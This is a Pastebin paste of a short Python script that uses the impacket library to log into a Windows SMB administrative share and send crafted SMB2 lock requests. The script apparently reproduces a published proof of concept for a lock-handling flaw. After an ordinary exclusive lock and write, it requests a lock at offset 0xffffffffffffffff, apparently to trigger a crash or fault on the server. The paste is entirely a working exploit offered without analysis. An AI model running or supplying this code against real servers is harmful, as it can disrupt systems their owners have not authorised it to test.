Advertisement
Guest User

Untitled

a guest
Mar 29th, 2016
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.23 KB | None | 0 0
  1. # Based on https://twitter.com/dlitchfield/status/714815748280094720
  2. from impacket.smbconnection import SMBConnection
  3. from impacket.smb3 import GENERIC_READ, GENERIC_WRITE, FILE_OPEN, SMB2_LOCK_ELEMENT, SMB2_LOCKFLAG_EXCLUSIVE_LOCK, SMB2_DIALECT_002
  4.  
  5. USERNAME = 'enterusername'
  6. PASSWORD = 'enterpassword'
  7. TARGET = '192.168.1.2'
  8. TARGETSHARE = 'C$'
  9. # Target file must exist
  10. TARGETFILE = 'hello.txt'
  11.  
  12. s = SMBConnection(TARGET, TARGET, preferredDialect=SMB2_DIALECT_002)
  13.  
  14. s.login(USERNAME, PASSWORD)
  15.  
  16. tid = s.connectTree(TARGETSHARE)
  17. hFile = s.createFile(tid, TARGETFILE, GENERIC_READ|GENERIC_WRITE, 0, creationDisposition=FILE_OPEN)
  18.  
  19. smb2Connection = s.getSMBServer()
  20.  
  21. lockElement = SMB2_LOCK_ELEMENT()
  22. lockElement['Offset'] = 0
  23. lockElement['Length'] = 1024
  24. lockElement['Flags'] = SMB2_LOCKFLAG_EXCLUSIVE_LOCK
  25. lockElement['Reserved'] = 0
  26.  
  27. smb2Connection.lock(tid, hFile, (lockElement,))
  28.  
  29. smb2Connection.write(tid, hFile, 'XXXXXX', 0, 6)
  30.  
  31. lockElement = SMB2_LOCK_ELEMENT()
  32. lockElement['Offset'] = 0xffffffffffffffff
  33. lockElement['Length'] = 1024
  34. lockElement['Flags'] = SMB2_LOCKFLAG_EXCLUSIVE_LOCK
  35. lockElement['Reserved'] = 0
  36.  
  37. smb2Connection.lock(tid, hFile, (lockElement,))
  38.  
  39. smb2Connection.close(tid, hFile)
  40.  
  41. s.logoff()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement